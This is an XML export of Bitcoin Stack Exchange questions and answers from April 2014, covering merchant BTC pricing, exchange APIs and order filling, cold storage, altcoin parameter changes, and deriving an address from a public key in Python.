  <row Id="24811" PostTypeId="2" ParentId="24810" CreationDate="2014-04-22T17:37:02.567" Score="2" Body="&lt;p&gt;This isn't an account, but it covers anything an account could.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They update their prices based on how many USD they want for the item and the current BTC/USD ratio. There's even an electronic price tag that does this automatically: &lt;a href=&quot;http://www.bbc.com/news/technology-26031331&quot; rel=&quot;nofollow&quot;&gt;http://www.bbc.com/news/technology-26031331&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Online, it's usually handled by some outside payment process company like Coinbase. You set up the website to communicate to Coinbase &quot;I need $x for this guy's order&quot; then they redirect the user to Coinbase's payment page, where Coinbase asks the user for $x worth of BTC at the current price. When Coinbase gets the user's coins, you (the merchant) gets your money. Most merchants never touch the BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In person, without the electronic price tags, it would be impractical (or even impossible) to price items in bitcoin by hand. One way around this would be to price them in USD, then take their total at the register to determine the amount of BTC needed for the purchase. Ie, the customer comes to the register with $x worth of goods, the merchant looks up the price of BTC (which they could do quickly), then asks the customer for $x worth of BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean how do they manage the risks of holding an asset that is volatile, the answer is that they don't hold it. They use Coinbase or similar.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-04-22T17:37:02.567" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24812" PostTypeId="1" CreationDate="2014-04-22T19:55:17.807" Score="2" ViewCount="1022" Body="&lt;p&gt;I want to use the &lt;a href=&quot;http://www.bitstamp.net&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt; exchanger API to buy Bitcoin automatically. But then I see the API does not give me back a transaction-ID (txn id) if I do a withdrawal of Bitcoin to my wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the exchanger gives me no transaction-ID when I start a withdrawal, how can I check that everything is fine? Normally, I think, you wait for x confirmations of the transaction, but the exchanger won't provide it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it enough to check the receipt of the Bitcoin amount in a unique account or will I be assailable for transaction malleability, double spending or similar? Is there a reason why the exchanger doesn't give back a txn-id? Because I saw other exchangers which do the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am grateful for any advice.&lt;/p&gt;&#xA;" OwnerUserId="15397" LastEditorUserId="4748" LastEditDate="2014-04-23T06:02:40.307" LastActivityDate="2014-09-20T13:14:36.607" Title="Check if received bitcoin are in blockchain/not pending without a transaction id" Tags="|api|withdrawal|transaction-malleability|bitstamp|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24813" PostTypeId="2" ParentId="24677" CreationDate="2014-04-22T20:15:59.200" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinchain.com/export&quot; rel=&quot;nofollow&quot;&gt;Bitcoinchain.com&lt;/a&gt; allows you to export market data. You can use that to create graphs for the historic exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could be more specific which graphs you want to create, one would be able to point out sources for the respective data. I don't think anyone is interested in searching the source data for all of the charts on blockchain.info, while you were only going to use one or two.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-04-22T20:15:59.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24816" PostTypeId="1" CreationDate="2014-04-22T20:50:09.583" Score="4" ViewCount="353" Body="&lt;p&gt;I am ready to put some of my BTC holdings into a couple different cold storage wallets.  I went through the process already moving around a few mBits as tests, created the keys on an offline PC, sent real funds, then ran an import in bitcoin-qt, all good there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My concern is this, If I move a few BTC into individual 1BTC wallets, do I have to worry about any Change Address issues if I simply ignore them completely for a long time?  Assuming my private keys are kept safe over time, is there any way I can lose funds this way?  I do not plan on making further deposits into any of these wallets, if my funds grow I will keep another hot wallet or setup more cold storage.  I also do not plan on withdrawing funds at any time, when I do it will be a full sweep per wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I proceed with sending my hard earned mining BTC to each address, I want to make sure I take all the proper precautions, any help from you BTC pros is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15400" LastActivityDate="2014-04-23T23:12:05.773" Title="Bitcoin Cold Storage Question" Tags="|bitcoin-core|coldstorage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24817" PostTypeId="1" CreationDate="2014-04-22T20:56:50.770" Score="1" ViewCount="870" Body="&lt;p&gt;Can someone elaborate on the other aspects of a Bitcoin miner set up / rig's needs, things such as the amount of data in MB's per day it can get through in getting and sending, if your asymmetrical broadband connection is sufficient.&lt;/p&gt;&#xA;" OwnerUserId="15401" LastActivityDate="2014-04-24T15:55:46.393" Title="Requirements for a Bitcoin Miner Data &amp; Bandwidth needs" Tags="|bandwidth|" AnswerCount="1" CommentCount="1" ClosedDate="2014-04-25T07:12:12.693" ContentLicense="CC BY-SA 3.0" />
  <row Id="24818" PostTypeId="1" CreationDate="2014-04-22T22:44:20.373" Score="-2" ViewCount="926" Body="&lt;p&gt;In creating a new SHA-256 based coin, I have a few basic questions that I hope someone can offer some help with (I do not have development background):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is bitcoin-0.6.3-linux.tar the latest and newest source available? Is this updated on a regular basis?&lt;/li&gt;&#xA;&lt;li&gt;Can the following modifications be done to the code (a simple yes/no answer would be great):&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All coins are pre-mined.&lt;/li&gt;&#xA;&lt;li&gt;All mining is done by only one central point, not the general public.&lt;/li&gt;&#xA;&lt;li&gt;To accomplish above, keep network difficulty at zero or less than one, and never changes.&lt;/li&gt;&#xA;&lt;li&gt;To accomplish above, limit number of confirmations required for transactions to one or two only?&lt;/li&gt;&#xA;&lt;li&gt;Automatic deposit of a changeable amount of coins (after a changeable mandatory waiting period) in every new wallet activated.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can these changes be implemented, and if so, how?&lt;/p&gt;&#xA;" OwnerUserId="15405" LastEditorUserId="15143" LastEditDate="2014-04-24T00:34:05.437" LastActivityDate="2014-04-24T00:34:05.437" Title="How is it possible to modify bitcoin source to change behavior of a newly-created altcoin?" Tags="|wallet|altcoin|" AnswerCount="2" CommentCount="3" ClosedDate="2014-04-23T19:25:23.563" ContentLicense="CC BY-SA 3.0" />
  <row Id="24820" PostTypeId="2" ParentId="24818" CreationDate="2014-04-22T22:54:32.603" Score="3" Body="&lt;p&gt;This seems kind of pointless. Bitcoin makes a lot of design sacrifices and tradeoffs to support decentralized mining and an initial distribution that can't be gamed with no need for a central authority. It sounds like you just want balances maintained by a central authority.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-04-22T22:54:32.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24821" PostTypeId="2" ParentId="24402" CreationDate="2014-04-23T02:07:51.477" Score="-2" Body="&lt;p&gt;It appears to me that electricity costs to mine blocks are rising at an unsustainable rate. Charts of difficulty and network hashes are growing exponentially. This is unsustainable. Currently miners generate revenue of approx. $30 on every transaction. Who pays for this? BTC holders, that's who. (Source: Blockchain.info charts) While it appears that fees we pay to transact are low, we actually pay this much higher amount mainly through inflation right now, due to mining of new BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The big claim in favor of protocol sustainability is that the market will find a balance at the right transaction fee level. I would argue that already it is being shown that effective transaction fees (mining inflation + fees) are too high - mainly because of the underlying costs of producing blocks, of which electricity is a growing component. An unsustainably growing component. And that the low fees we pay to transact are actually an illusion hiding the real costs simply because so much investment money is flowing into the illiquid BTC base, preventing the inflation effect that would otherwise reduce the BTC price being so apparent.&lt;/p&gt;&#xA;" OwnerUserId="14236" LastActivityDate="2014-04-23T02:07:51.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24822" PostTypeId="1" AcceptedAnswerId="24830" CreationDate="2014-04-23T02:50:26.877" Score="0" ViewCount="462" Body="&lt;p&gt;When there is some price overlap, i.e an ask and a higher priced bid, who will get the difference? In other words, will the seller get an &quot;extra&quot;, or the buyer a &quot;discount&quot;? I'm interested in BTC-e mainly, but general knowledge about exchanges is useful too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked around here and found similar questions, such as &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/21310/orders-and-fills-are-confusing&quot;&gt;this one&lt;/a&gt;, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8187/when-btc-is-traded-at-a-mt-gox-or-similar-what-is-the-algorithm-for-matching-b&quot;&gt;this one&lt;/a&gt;, and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9832/will-i-pay-bid-price-or-lowest-necessary-amount&quot;&gt;this one&lt;/a&gt;, but still I don't fully understand how it works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/21318/15404&quot;&gt;This answer&lt;/a&gt; seems to suggest that the effective price will be that of the order that was in the book, the one placed first. So, assuming volumes match, an ask at $1000 with a bid at $1050 will be filled at $1000 if the ask was placed first, or at $1050 if the bid was placed first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/8221/15404&quot;&gt;Here&lt;/a&gt; it's stated that &quot;the exchange will match the buy order with the lowest sell orders&quot;, but it's not clear to me if that's the case just in the example given in the question, or always. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/9833/15404&quot;&gt;This other one&lt;/a&gt; agrees with the other two, but doesn't say what happens in the opposite case (swapping bids and asks).&lt;/p&gt;&#xA;" OwnerUserId="15404" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2017-03-31T17:22:36.713" Title="How are BTC-e orders filled?" Tags="|exchanges|btce|exchange-order|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24824" PostTypeId="2" ParentId="24402" CreationDate="2014-04-23T03:30:16.943" Score="2" Body="&lt;p&gt;As Bitcoin expands there will be much greater numbers of transactions while the cost of maintaining the network will remain relatively constant, if not decrease, as power-inefficient GPUs and higher consumption ASICs are replaced by more efficient ASICs. The cost per transaction will thus drop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, keep in mind that it isn't replacing nothing, it's replacing centralized accounting which has a significant cost per transaction.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-04-23T03:30:16.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24825" PostTypeId="2" ParentId="24818" CreationDate="2014-04-23T05:40:23.883" Score="1" Body="&lt;p&gt;You first need to understand some concepts on how Bitcoin and its descendants work.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;As of now, &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/0.9.1&quot; rel=&quot;nofollow&quot;&gt;Bitcoin 0.9.1&lt;/a&gt; is the latest &lt;strong&gt;stable&lt;/strong&gt; version. For newest source-code with latest changes by the core developers (updated almost daily!), you can connect to the repository and download a snapshot from the &lt;a href=&quot;https://github.com/bitcoin/bitcoin&quot; rel=&quot;nofollow&quot;&gt;master development branch&lt;/a&gt;. To understand the difference, I recommend reading &lt;a href=&quot;http://svnbook.red-bean.com/&quot; rel=&quot;nofollow&quot;&gt;this book&lt;/a&gt; or &lt;a href=&quot;http://www.ericsink.com/vcbe/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You do can premine (mining coins before announcing the software to the public), but it's more efficient to insta-mine: configure the altcoin so that first mined blocks yield an insanely high number of coins and then mining reward drops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tweak a lot of parameters in an alt-coin: target block generation time, reward in coins per block, how much and when will such reward fall down (if ever), final total amount of coins (some coins don't have a hard limit), etc. Nothing stops you from setting a hard limit on coins, setting the genesis block (the very first one) to generate all the coins that will ever exist and the coin reward for all subsequent blocks to zero.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Network difficulty is set by the network so as to keep the average time between blocks as close to the pre-defined one as possible. It cannot be directly configured when designing the coin, much less be fixed, and will never be zero. Difficulty should be free to go up when a powerful miner enters and down when only a few miners are working.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You're never 100% sure your coins are really yours, you get degrees of certainty. The more confirmations you get, the more likely you'll not fall for a &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;double-spend attack&lt;/a&gt;. Nobody forces you to wait for 1, 10, or 100 confirmations, you cannot limit that number in any way. You &lt;em&gt;do&lt;/em&gt; can change the number of blocks for a newly-minted coin to &quot;mature&quot; and be spendable - but since you want all your coins to be premined, makes no sense in this context.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There's no &quot;wallet activation&quot;. You never know, from the trillions of possible addresses, which ones already have a public/private key until their owners send coins to/from then. And no way to know until then. The closest I can think of is how Nxtcoin works: you must send at least one coin from a newly created wallet to mark its address as yours.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Have a look at that coin, &lt;a href=&quot;http://nextcoin.org/&quot; rel=&quot;nofollow&quot;&gt;NXT&lt;/a&gt;. It's not a Bitcoin descendant and has a number of the properties you seem to want.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-04-23T05:40:23.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24826" PostTypeId="2" ParentId="24803" CreationDate="2014-04-23T08:23:51.997" Score="2" Body="&lt;p&gt;Bitcoin transactions do not move funds from one address to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin's core concept is coins. Coins are created by transactions, and can have have arbitrary value. Coins are consumed by another transaction by explicitly referring to the transaction that created them. So, in a way, transactions melt some input coins together (destroying them), and forge new ones from it (with a total value that can't exceed the value of the melted ones).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating a coin, you can assign it to an address (in fact a script, but let's simplify). This is just an authentication mechanism on top: in order to consume a coin assigned to address A, you have to sign the transaction with the private key corresponding to A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question: this is not possible. To create a transaction, you need to know the exact transactions that assigned coins to addresses of yours, and their value.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-04-23T08:23:51.997" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24827" PostTypeId="2" ParentId="12453" CreationDate="2014-04-23T08:33:32.630" Score="1" Body="&lt;p&gt;Bitstamp does not require a unique code in every SEPA deposit. They require the &lt;strong&gt;same code&lt;/strong&gt; everytime you send euros. So you can setup a recurring payment to your account. Maybe the first time, when requesting the SEPA deposit, type in the comment that you will be making monthly deposits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then write a program that checks the EUR balance daily and buys bitcoins for you. This should be pretty straightforward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitstamp only offers limit orders through their API. If you want to speed up the buy order, set your price a few percent above the market price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="6527" LastActivityDate="2014-04-23T08:33:32.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24828" PostTypeId="2" ParentId="24812" CreationDate="2014-04-23T09:04:57.200" Score="0" Body="&lt;p&gt;I guess exchanger does not give you txid because of transaction malleability. Someone can change this id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is enough to check the receipt of the Bitcoin amount in a unique account. Third party cannot change this fact. The only thing that third party can change in original transaction - tx id.&lt;/p&gt;&#xA;" OwnerUserId="10411" LastActivityDate="2014-04-23T09:04:57.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24829" PostTypeId="2" ParentId="24802" CreationDate="2014-04-23T10:29:59.710" Score="2" Body="&lt;p&gt;It's probably not in there right now; look at the code in bitcoin/rpc.py and add it! Basically you just need to follow the same pattern as other RPC calls. When you're done send me a pull-req on github.&lt;/p&gt;&#xA;" OwnerUserId="15305" LastActivityDate="2014-04-23T10:29:59.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24830" PostTypeId="2" ParentId="24822" CreationDate="2014-04-23T11:10:14.480" Score="1" Body="&lt;p&gt;Its exactly as you state in the third paragraph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you (limit) sell 1 BTC for $1000, you would expect to get $1000. But if someone just placed an order to buy 0.5 BTC for $1050, you will sell to that guy first (so only half of your order) and will receive $525 for that. The other 0.5 BTC you want to sell, sells for $500 (so $1000 / BTC) if someone has that order. So you receive $1025 in total (but fees need to be subtracted), more then you expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same happens when you buy 1 BTC at $1050. If someone just placed an order to sell 0.5 BTC at $1000, you buy that half coin first for $500. The other 0.5 BTC you ordered is bought for $525. So in total you spent $1025 instead of $1050, but you will receive a whole BTC. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-04-23T11:10:14.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24831" PostTypeId="2" ParentId="24806" CreationDate="2014-04-23T11:15:16.060" Score="1" Body="&lt;p&gt;For example you can look at &lt;a href=&quot;https://spendbitcoins.nl/places/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; site. It has a lot of shops who accept bitcoin, but I don't know if it's complete up to date. It does not have a graph, but you have some rough data (498 pages with 10 companies per page, so ~5000 companies)&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-04-23T11:15:16.060" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24832" PostTypeId="1" AcceptedAnswerId="24853" CreationDate="2014-04-23T11:36:13.620" Score="0" ViewCount="603" Body="&lt;p&gt;Getting senders account&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say we got txid by &lt;em&gt;listtransactions&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;txid&quot; : &quot;2ca54b92338e52bbb16562dd7a91e8670d9362bb255e21fb568acc13e732b6b7&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;getrawtransaction 2ca54b92338e52bbb16562dd7a91e8670d9362bb255e21fb568acc13e732b6b7&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;decoderawtransaction 0100000001b2314a1f3d2552d781836cbf266b558eea31fb9f6b0e6da9340ab12e8760df0b000000006b483045022100dab5b2ef5e5be67fc0421c637c60a3d21064bcc7afe69f86909d0a7f91ae99440220762ad9a1d9c20a22378136e5653c2e7134499d1ac0ed86aba883faa7fbf6753f012102f342968588796d7214e189a6fef024bad4f29e7a155c93182a8b6f579b2c1fb2ffffffff02172e0100000000001976a914dc05a2f50f5ae09df42f584f5a5582891a41665088ac2e2f4100000000001976a914380e50d59602e9f9960f893f6f2c0f6eb7791b6088ac00000000&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;out of which we finally receive:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;asm&quot; : &quot;3045022100dab5b2ef5e5be67fc0421c637c60a3d21064bcc7afe69f86909d0a7f91ae99440220762ad9a1d9c20a22378136e5653c2e7134499d1ac0ed86aba883faa7fbf6753f01 02f342968588796d7214e189a6fef024bad4f29e7a155c93182a8b6f579b2c1fb2&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good. Last part is publickey, if understand correctly:&lt;strong&gt;02f342968588796d7214e189a6fef024bad4f29e7a155c93182a8b6f579b2c1fb2&lt;/strong&gt;, which can be translated to address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I do following in python to get senders address:&#xA;    import hashlib&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pkey=&quot;02f342968588796d7214e189a6fef024bad4f29e7a155c93182a8b6f579b2c1fb2&quot;&#xA;&#xA;ripemd160 = hashlib.new('ripemd160')&#xA;&#xA;ripemd160.update(hashlib.sha256(pkey.decode('hex')).digest())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but ripemd160.hexdigest() returns 8cdd1b71d32e53a9fe326212281a4a99a1c093a8, and thats not what i want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should return valid address, and result seems a bit off to me. I think .hexdigest is wrong way to do it, should be converted to base58.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How properly convert ripemd160.digest into account address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="15398" LastActivityDate="2014-04-28T13:54:20.860" Title="Getting sender address, python" Tags="|address|development|base58|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24833" PostTypeId="2" ParentId="24832" CreationDate="2014-04-23T12:00:55.427" Score="3" Body="&lt;p&gt;The bitcoin protocol doesn't really support the concept of a transaction sender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you can come up with is an address owned by someone who previously controlled the transaction's outputs, which however might not actually be the sender (e.g. for e-wallets) and who may not actually intend to receive anything there in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take some time to see a &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib/blob/master/CoinWrapper/Services/RpcServices/RpcExtenderService/RpcExtenderService.cs#L120&quot; rel=&quot;nofollow&quot;&gt;sample implementation written in C#&lt;/a&gt; (GetTransactionSenderAddress()).&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-04-23T12:00:55.427" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24834" PostTypeId="1" CreationDate="2014-04-23T12:01:46.503" Score="0" ViewCount="753" Body="&lt;p&gt;I am using cryptsy and i am unclear how cryptsy works, At first i deposited dogecoin to newly generated address and then I made the sell offer for DOGE/LTC, now i am having some LTC but i don't see any Litecoin address in cryptsy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In which address my LTC balance available?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If coins are stored in db level, how it is possible to withdraw that coin?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14629" LastEditorUserId="14629" LastEditDate="2014-04-28T09:15:05.713" LastActivityDate="2014-07-24T12:59:49.510" Title="How does cryptsy.com currency trading works?" Tags="|litecoin|address|dogecoin|sell-bitcoins|cryptsy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24835" PostTypeId="1" AcceptedAnswerId="24840" CreationDate="2014-04-23T12:26:23.133" Score="1" ViewCount="232" Body="&lt;p&gt;How can I find &lt;strong&gt;API&lt;/strong&gt; (json data) for cryptocoins current ask/high/low/average price. Is there any website that provides that ticker information for all coins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example BTC/LTC ticker info is available in &#xA;&lt;a href=&quot;https://btc-e.com/api/2/ltc_btc/ticker&quot; rel=&quot;nofollow&quot;&gt;https://btc-e.com/api/2/ltc_btc/ticker&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12634" LastEditorUserId="12634" LastEditDate="2014-04-24T04:17:37.923" LastActivityDate="2024-03-13T07:00:26.290" Title="Where to find cryptocoins current price" Tags="|client|litecoin|trading|currencies|ticker|" AnswerCount="3" CommentCount="0" ClosedDate="2024-03-13T12:53:13.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="24837" PostTypeId="2" ParentId="24387" CreationDate="2014-04-23T13:32:51.717" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/api/api_websocket&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_websocket&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the blockchain.info websocket API you can subscribe to any transactions on addresses. That seems like a great place to start :)&lt;/p&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2014-04-23T13:32:51.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24838" PostTypeId="1" CreationDate="2014-04-23T14:19:39.147" Score="1" ViewCount="265" Body="&lt;p&gt;I'm testing bitcoin and, as an experiment, I added a transaction after the coinbase to the genesis block. However, it appears that it can't be searched with the rpc commands. Why is that?&#xA;I already read that the coinbase in the genesis block can't be spent and this is ok, but what about the other transactions?&lt;/p&gt;&#xA;" OwnerUserId="15419" LastActivityDate="2014-04-23T23:32:30.870" Title="Can I look for transaction in the genesis block?" Tags="|protocol|testing|genesis-block|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24839" PostTypeId="2" ParentId="24834" CreationDate="2014-04-23T15:41:43.313" Score="0" Body="&lt;p&gt;I don't know much about Cryptsy, but why do you assume you should have an LTC address already?  Maybe the way out works is your LTC balance is just a number in their database.  If you want to use the funds you should look for a &quot;withdraw&quot; option and learn how that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to answer your second question, yes, it looks like Cryptsy is an exchange but you should know that because you already traded doge for LTC on cryptsy.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastActivityDate="2014-04-23T15:41:43.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24840" PostTypeId="2" ParentId="24835" CreationDate="2014-04-23T16:12:38.753" Score="2" Body="&lt;p&gt;I use &lt;a href=&quot;https://bitcoinwisdom.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoinwisdom&lt;/a&gt; which in the market section has multiple exchange ratios for BTC/LTC/DOGE and for fiat money like USD/EURO/RUB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is this page in &lt;a href=&quot;http://cryptocoincharts.info/v2/main/priceBoxes&quot; rel=&quot;nofollow&quot;&gt;cryptocoincharts&lt;/a&gt; which also has many market prices for cryptocurrencies.&lt;/p&gt;&#xA;" OwnerUserId="13478" LastActivityDate="2014-04-23T16:12:38.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24841" PostTypeId="2" ParentId="24832" CreationDate="2014-04-23T16:24:19.683" Score="0" Body="&lt;p&gt;Sorry, i guess i misunderstood your question:&#xA;You have to encode the ripemd160 to base58 as you can see &lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def pubKeyToAddr(s):&#xA;  ripemd160 = hashlib.new('ripemd160')&#xA;  ripemd160.update(hashlib.sha256(s.decode('hex')).digest())&#xA;  return utils.base58CheckEncode(0, ripemd160.digest())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway, you can always check &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow&quot;&gt;the details&lt;/a&gt; of how to construct address.&lt;br&gt;&#xA;Aditionaly, if you want to use the &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;testnet&lt;/a&gt;, remember to replace the first char from 0 to 0x6F like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  return utils.base58CheckEncode(0x6F, ripemd160.digest())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13478" LastEditorUserId="13478" LastEditDate="2014-04-28T13:54:20.860" LastActivityDate="2014-04-28T13:54:20.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24842" PostTypeId="1" AcceptedAnswerId="24849" CreationDate="2014-04-23T16:42:01.170" Score="4" ViewCount="6223" Body="&lt;p&gt;I was a bit surprised to learn that you can earn 25 bitcoins, just by confirming a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24779/is-there-a-way-of-rewarding-users-who-confirm-others-transactions&quot;&gt;block&lt;/a&gt; worth of transactions. If I've done the math right, at $493 per bitcoin, that's $12,325.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does one do a lot of work (beyond a few mouse clicks) to earn those 25 bitcoins? Does that constitute &quot;rent&quot; for the use of the resources of your computer (which probably cost a lot less than $12,325)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it just the case that 25 &lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoins&lt;/a&gt; are issued per block, and by confirming  a block of transactions, you get those those 25 bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="15143" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-04-23T21:14:38.893" Title="If you confirm others' transactions, what do you do to earn 25 bitcoins per block?" Tags="|confirmations|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
